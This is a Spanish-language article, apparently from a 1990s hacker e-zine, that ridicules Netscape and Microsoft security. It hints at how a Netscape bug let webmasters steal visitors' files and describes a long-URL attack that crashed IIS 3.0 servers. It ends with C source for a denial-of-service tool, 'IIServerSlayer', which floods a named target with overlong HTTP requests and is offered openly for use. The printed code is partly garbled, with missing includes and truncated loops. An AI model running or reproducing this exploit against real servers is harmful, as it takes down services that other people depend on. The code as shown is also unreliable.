IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII o 07. GIGANTES CON PIES DE BARRO o IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII Si Internet es el centro de la informatica (y de lo que no lo es) Microsoft y Netscape son los gigantes de ese mundo, empresas millonarias, productos que alcanzan todos los rincones del mundo y de los que continuamente se lanzan nuevas versiones, todos parecen seguir la estela de estos colosos. Y sin embargo...pueden tener estos gigantes los pies de barro?. Es lo que vamos a analizar en este articulo, leedlo y juzgad vosotros mismos. Poco antes de finalizar el numero anterior empezo a oirse un fuerte rumor acerca de que Netscape se habia dado por enterada del serio bug de seguridad que afecta a sus navegadores y estaba trabajando contrarreloj para dejar listo un patch. Como recordareis el mes pasado plantee el problema que se presenta a la hora de escribir sobre bugs entre la "actualidad del bug" y la "utilidad" que tendra una vez difundido ampliamente. En este caso dada la premura de tiempo para escribir el articulo y la falta de garantias acerca de si Netscape realmente estaba al tanto del bug aconsejo el no escribir nada. Al final resulto que si, al parecer un tipo un poquillo ansiosete por cobrar dinerillo puso en alerta a Netscape de la existencia del bug pero pidio mas pasta que los estandar 1.000 pavos + camiseta que dan los chicos de Mountain View, al final los ingenieros de Netscape lo encontraron ellos solitos y no le han dado un duro al avaricioso (bien le esta por cabr*n) Puede que alguno de vosotros se este preguntando špero de que habla?. Lo siento, a veces me olvido de que hay otras aficiones e intereses en la vida aparte de estar al tanto de todos los fallos de seguridad :-( El grano: Cualquier webmaster *puede* conseguir llevarse *cualquier* archivo de un visitante de su pagina si se cumplen las condiciones: a) El Webmaster conoce la ruta exacta del archivo b) El visitante utiliza el Navigator Ya, pero yo utilizo la version 2.x o el Communicator! Da igual, el bug afecta al 2.x, 3.x, Communicator beta y Communicator final 4.0 (la 4.01 incorpora el patch) Ya, pero yo no uso Win, trabajo desde Unix :-) ! Es independiente del sistema operativo, funciona en Mac, Unix, Windows... Ya, pero yo estoy tras un firewall o proxy :-)) ! No importa en absoluto. A joderse!. Tengo deshabilitado Java y Javascript!! Tanto me da que me da lo mismo. C*€ooooo!. Si. Pero no os preocupeis los que hayais visitado nuestras paginas por esta u otras 'perrerias', hay un concepto que se llama hospitalidad o sea que tranquilos que no os hemos hurgado el disco duro. :-) [Ni tampoco hemos hecho otras perrerias como "hidden mail" o similares] Una vez el rumor corrio y se convirtio en aplastante comenzaron los membrillos de siempre (esos que piensan que son geniales por que se enteran de las cosas con 6 meses de retraso) a decir: šComo se hace? Y venga a escribir JavaScript y venga a decirse unos a otros: "Esto no funciona ni del carajo pero seguro que tiene que ser asi, sigue sin salir pero seguro que este es el camino". Los hay membrillos, obcecados completamente en una idea y sin ser capaces de tener vision de conjunto. NOTA: Los usuarios del MierdaSoft Explorer 4.0 que no se me alboroten no sea que se lleven alguna bonita sorpresa proximamente. };-> El caso es que, evidentemente, Netscape intento minimizar el asunto diciendo que era un bug no de seguridad sino de privacidad (?!) puesto que al fin y al cabo el "mal bicho" tenia que conocer la *ruta exacta* y cada sistema es diferente, este planteamiento ha sido entusiastamente seguido por la prensa del sector que ha "pasado de puntillas" sobre el asunto. Todo eso es una bazofia porque el bug es grave, cada sistema es diferente pero al acceder a un site el webmaster ya sabe que sistema utilizas y cuales son las ubicaciones por defecto (que las has cambiado? mala suerte) de archivos de registro, inicio, claves (que te parece si se lleva el trumpet ini y se lleva tu login y password para infovia si eres espa€ol, o el secring.pgp, el autoexec.bat para ver lo que tienes en el computer..etc , etc, etc..) Por supuesto si intenta llevarse grandes archivos puede notarse un mazo (las prestaciones del modem parecerian caer en picado) pero para llevarse unas cuantas configuraciones o archivos con datos "sensibles" ya esta bien. El tema de patchs?. El Communicator 4.01 lo incorpora asi como las versiones finales para Mac y Unix, el de 3.0 esta previsto que salga para julio o asi (toy escribiendo esto en junio) y el de 2.x?. Un portavoz de Netscape ha declarado lo siguiente, lo traduzco a castellano claro y comprensible. "2.x?. Los usuarios de 2.x que se vayan al peo, que hagan ya un upgrade que es gratis y si no que se pudran. " Mais claro agua. La misma politica de MercaSoft con el nuke a sistemas de 16 bits. Total a bajarse los 17Mb de Communicator pa ver paginas Web, escribir correo y hacer tus paginillas practicamente la misma utilidad que Bloc de Notas+Netscape 2.0. Y por supuesto Microsoft no se queda atras, šquieres ver paginas Web? pues bajate este bonito archivo de 25Mb que solo requiere 48Mb de Ram, Pentium 300, 4Gb de HD y la ultima beta de NT. Ya os adivino la pregunta. šY todo eso como se hace?. A mi no me mireis, yo no he sido el que ha dicho que INPUT=FILE y un frame "hidden" tienen algo que ver, tampoco he comentado que el cebo es un falso link ni cosas semejantes. Que me registren, pero que sea una tia cachas. Claro que mientras tanto quiza eso de "Warn before submitting a form insecurely" este mejor MARCADO. De nada. Y mientras los chicos del navio se quedaban sin cenar en busca del bug en un lugar de cuyo nombre no quiero acordarme los ingenieros de Microsoft estaban a punto de enterarse de algo.. a las bravas. Un poco de historia, por favor. Microsoft presenta orgullosa su Windows NT 4.0 Server un sistema amigable pero robusto, potente y estable, ideal para ser utilizado como servidor de contenidos en Internet sobretodo si se utiliza en conjuncion con el Internet Information Server (IIS) que en su version 3.0 MS regala a los poseedores de NT. Todo es bonito, el cielo es de color azul, los billetes fluyen hacia Redmond cuando de repente ­cuidado! no son los galos irreductibles sino un encapuchado llamado Todd Fast quien tumba el site entero de MSoft solo con decirle a su browser. [Netscape 3.0 con Java 1.0.2] Open Location: http://www.microsoft.com/? algo=******* (cadena irreproducible) Y por arte de birlibirloque uno de los sites mas im-prezionantes del mundo entero y conocido se derrumba, los usuarios que nada saben empiezan a quejarse-cachondearse de MS por ese mensaje de "Obras y Upgrades" que los mozos de Bill Gates colocan en su ventanuco como excusa para la casi imposibilidad de acceder a su colapsado site, el terror cunde en casa-Bill. ­Todos sus clientes que confian en Windows NT e IIS pueden ver sus sites cerrados!. Basta que cualquier loco-gracioso-resentido-delincuente o que se yo, se conecte a Internet, abra su browser y libre la fatidica instruccion Open Location:http://www.loquesea.com/? algo=****** (cadena irreproducible) Y yasta!. Y el site se viene abajo y adios zarandajas de seguridad, pandemoniums de firewalls, protocolos y la madre que los trajo_a_todos_los_ sinvergenzas_llamados_asesores_de_seguridad. Si se€or, ridiculo espantoso de Billy Company pero no solo suyo, ridiculo de todos los payasetes, zascandiles, besugos y correveidiles que disfrazados de "expertos" se lian a explicar como han puesto perimetros vallados, deteccion de humo, sonido y presion, vigilancia armada, sistemas expertos, cursos de formacion en seguridad ..etc. (A pagar, a pagar que el mundo se va a acabar) Pero se€ores: Todo muy bonito y muy seguro, zi. Pero..­­se han dejado la puerta principal abierta!!. Que ya no es la primera vez, que hace poco nos pasamos un par de meses tirando Wincomputers conectados a Inet (entre nosotros mismos, nada grave oiga). Recapitulemos, dos ultimos numeros de Saqueadores: Como tirar cualquier ordenador que use Win y NetBios (casi na) Como hurgar el disco duro del vecino Netscapero (poquillo mas complicao) Como tirar un site entero con NT e IIS (y sin salir del browser) Y luego hacen conferencias de seguridad. Que estafa, por Dios, que estafa. Aprendan primero a atarse los cordones. Y ­ojo al dato! que nadie se me olvide de la promesa de arriba, el MSIE 4.0 nos va a hacer reir un rato tambien, daremos tiempo al tiempo pero ya se hara correr la voz. Y ya os adivino la pregunta. ;). šEso como se hace?. Lo siento, pero no os puedo decir que de lo que se trata es de mandar al server una direccion tipo CGI (con pares de nombre/valor y esas zarandajas) que este entre los 4k y 8k de larga y que lo que hace cascar no es la direccion sino la _longitud_. En cambio si puedo decir que "desatascar" el site es relativamente facil siempre que algun "venado" no se dedique a "tirarlo" constantemente. No seria prudente comentar que cada site requiere una cadena distinta y que existe un programita en Java que va probando combinaciones automaticamente. Por supuesto el programa que circula por Internet ha sido "retirado" de la mayoria de los sites a ""peticion"" de Microsoft. Y ya os adivino la pregunta?. Pero en Saqueadores lo habeis conseguido? Pues.......... no. Asi que lo que tenemos es un programita en C que hace lo mismo (al menos en teoria) como ya sabeis C es nuestro "lenguaje oficial" :-)) Y como hoy estoy de buenas, aqui va el codigo fuente. /* Este programa pretende ser una emulacion en C del programa IIServerSlayer desarrollado en Java por Todd Fast Esta testeado en Linux y compilado con gcc y glibc. Este programa es potencialmente peligroso Saqueadores no se responsabiliza de NADA.*/ #include #include #include #include #include #include #include #include #include int s; struct sockaddr_in addr, spoofedaddr; struct hostent *host; int open_sock(int sock, char *server, int port) { struct sockaddr_in blah; struct hostent *he; bzero((char *)&blah,sizeof(blah)); blah.sin_family=AF_INET; blah.sin_port=htons(port); if ((he = gethostbyname(server)) != NULL) { bcopy(he->h_addr, (char *)&blah.sin_addr, he->h_length); } else { if ((blah.sin_addr.s_addr = inet_addr(server)) < 0) { perror("gethostbyname()"); return(2); } } if (connect(sock,(struct sockaddr *)&blah,16)==-1) { perror("connect()"); close(sock); return(3); } return 0; } char *generate_die_string(int lenght) { char letter='X'; char *str_begin = "GET /?bye=",*str_end = " HTTP/1.0\r\n\r\n",*str; int i; str = (char *)malloc(lenght+strlen(str_end)+strlen(str_begin)+1); strcpy(str,str_begin); for(i=strlen(str_begin);i [string_lenght] [port]\n",argv[0]); printf("[-v] = verbose mode para ver la respuesta del server\n"); printf("[-f] = fuerza a ejecutarse el exploit\n"); exit(0); } for(i=1;i param+2) lenght = atoi(argv[param+2]); if(argc > param+3) port = atoi(argv[param+3]); for(i=0;i<3;i++,lenght++) { if(i) IIServerSlayer(argv[param+1],lenght,port,flags); else IIServerSlayer(argv[param+1],0,port,flags); if(i == 1 || i == 0) lenght--; } if((pid = fork())) { if(pid == -1) { perror("No puedorrll\n"); exit(-1); } usleep(60000000); /* Espera, pecador*/ kill(pid,SIGTERM); } else { IIServerSlayer(argv[param+1],lenght,port,flags); printf("Cachis, %s todavia vive\n",argv[param+1]); } exit(0); } Por supuesto la cosa no se queda aqui, en el mes que ha pasado desde que escribi esto hasta que se ha lanzado la revista han aparecido muchos mas "fallos" (o son caracteristicas planeadas?) pero ya hablaremos de ello en otro momento. No os lieis la cabeza que por los mensajes que he recibido parece que hay gente que va con una caraja considerable. :DDD Eso es todo amigos.